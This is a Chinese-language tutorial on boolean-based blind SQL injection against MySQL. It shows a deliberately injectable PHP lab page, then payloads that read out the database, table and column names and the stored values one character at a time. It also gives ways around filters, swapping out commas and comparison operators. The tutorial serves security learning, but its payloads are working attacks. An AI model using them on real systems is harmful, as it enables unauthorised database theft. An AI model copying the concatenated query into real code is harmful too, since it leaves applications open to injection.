SQL注入利用 学习- 布尔盲注

布尔盲注适用场景:

1、WAF或者过滤函数完全过滤掉union关键字

2、页面中不再回显具体数据,但是在SQL语句执行成功或失败返回不同的内容

代码分析:过滤关键字 union

复制代码
if(preg_match('/union/i', $id))
{
echo "fail";
exit;
}

代码分析:数据不会回显

复制代码
$conn = mysql_connect('localhost','root','123456') or die('连接数据库失败!');
mysql_query('set names utf-8',$conn);
mysql_query('use web_sql',$conn);
$sql = "select * from person where id = {$id}";
$res = mysql_query($sql,$conn) or die(mysql_error());
$row = mysql_fetch_array($res);
if($row){
$flag = "success";
}else{
$flag = "fail";
}

布尔注入原理:

利用 逻辑关系对SQL语句进行"干预"。

例如 select * from article where id = 1

如果拼接and 1=1 恒为真,输 出正确情况。

如果拼接 and 1=2 恒为假,输出错误情况。

此时可以确定 and 1=1 和 and 1=2 返回不同结果,此时id参数存在SQL注入漏洞。

布尔盲注实验

1、获取数据库名称

遍历数据库长度的字符,最终找到数据名称:web_sql

复制代码
and+length(database())>=num #根据页面返回长度判断数据库长度
and+substr(database(),1,1)='a' #逐字遍历(替换a) #substr substring mid 都可以截取字符串其中一部分
如果过滤引号,可以适用 and+ascii(substr(database(),1,1)) = 96 #根据ascii值判断 ord 也可以实 现

2、获取数据表名称

其中 limit m,n m为起始位置,n为长度。 limit 0,1 获取第一个数据。

复制代码
and ord(mid((select table_name from information_schema.tables where table_schema='web_sql' limit 2,1),1,1)) = 96

3、获取字段名称

复制代码
and ord(mid((select column_name from information_schema.columns where table_name='admin' limit 2,1),1,1)) = 97

4、获取数值部分

复制代码
and ord(mid((select 字段 from 表名),1,1)) = 97

布尔盲注过滤绕过技巧:

绕过核心就是将布尔利用技术中的关键字进行替换

复制代码
and ord(mid((select table_name from information_schema.tables where table_schema='web_sql' limit 2,1),1,1)) = 96

1、过滤逗号绕过技巧

在进行盲注过程中,可能需要substr(),mid(),limit等函数或操作符,此时要用到逗号。如果逗号被过滤可 以使用以下技巧。

复制代码
mid(username,1,1) 等价于 mid(username from 1 for 1)
substr(username,1,1) 等价于 substr(username from 1 for 1)
select * from admin limit 1,1 等价于 select * from admin limit 1 offset 1;

2、过滤比较运算符技巧

在进行盲注过程中,需要适用大于或小于比较运算符。如果过滤,可以使用以下技巧 。

复制代码
greatest(n1, n2, n3...):返回n中的最大值
greatest(ascii(substr(username,1,1)),1)=97;
least(n1,n2,n3...):返回n中的最小值
strcmp(str1,str2):若所有的字符串均相同,则返回0,若根据当前分类次序,第一个参数小于第二个,则返回
-1,其它情况返回 1
substr(username,1,1) in ('t');
between a and b:范围在a-b之间
and substr(username,1,1) between 'a' and 't';
and substr(username,1,1) between 't' and 't';

实验:完成题目过滤绕过

过滤代码 preg_match("/union|and|benchmark|ascii|substr|,|>|<|=|\s+/i",$sql)

相关推荐
Nturmoils13 小时前
订单列表慢查询,先看 WHERE、ORDER BY 和 LIMIT
数据库
渣波17 小时前
拒绝 SQL 焦虑!手把手带你用 NestJS + Prisma + DTO 写出“防弹”级后端代码
javascript·数据库·后端
冬奇Lab1 天前
Skill 系列(02):Skill 安全风险——三类攻击面的实战测试
人工智能·安全·开源
Jim6001 天前
【吃透 MySQL InnoDB连载】第 1 章・解密线上数据库高频故障
mysql
GreatSQL2 天前
gt-checksum v4.0.0 新功能解读系列文章(4):SSL 加密连接——数据校验传输安全再升级
mysql
倔强的石头_2 天前
KingbaseES 新版MySQL 兼容版体验:旧版迁移 + 功能实测
数据库
Aphasia3115 天前
VPN 与内网穿透
安全
倔强的石头_5 天前
《Kingbase护城河》——数据库存储空间全景探测与精细化瘦身实战
数据库
云技纵横5 天前
唯一索引 INSERT 死锁实战:5 秒复现交叉插入的 S 锁循环等待
sql·mysql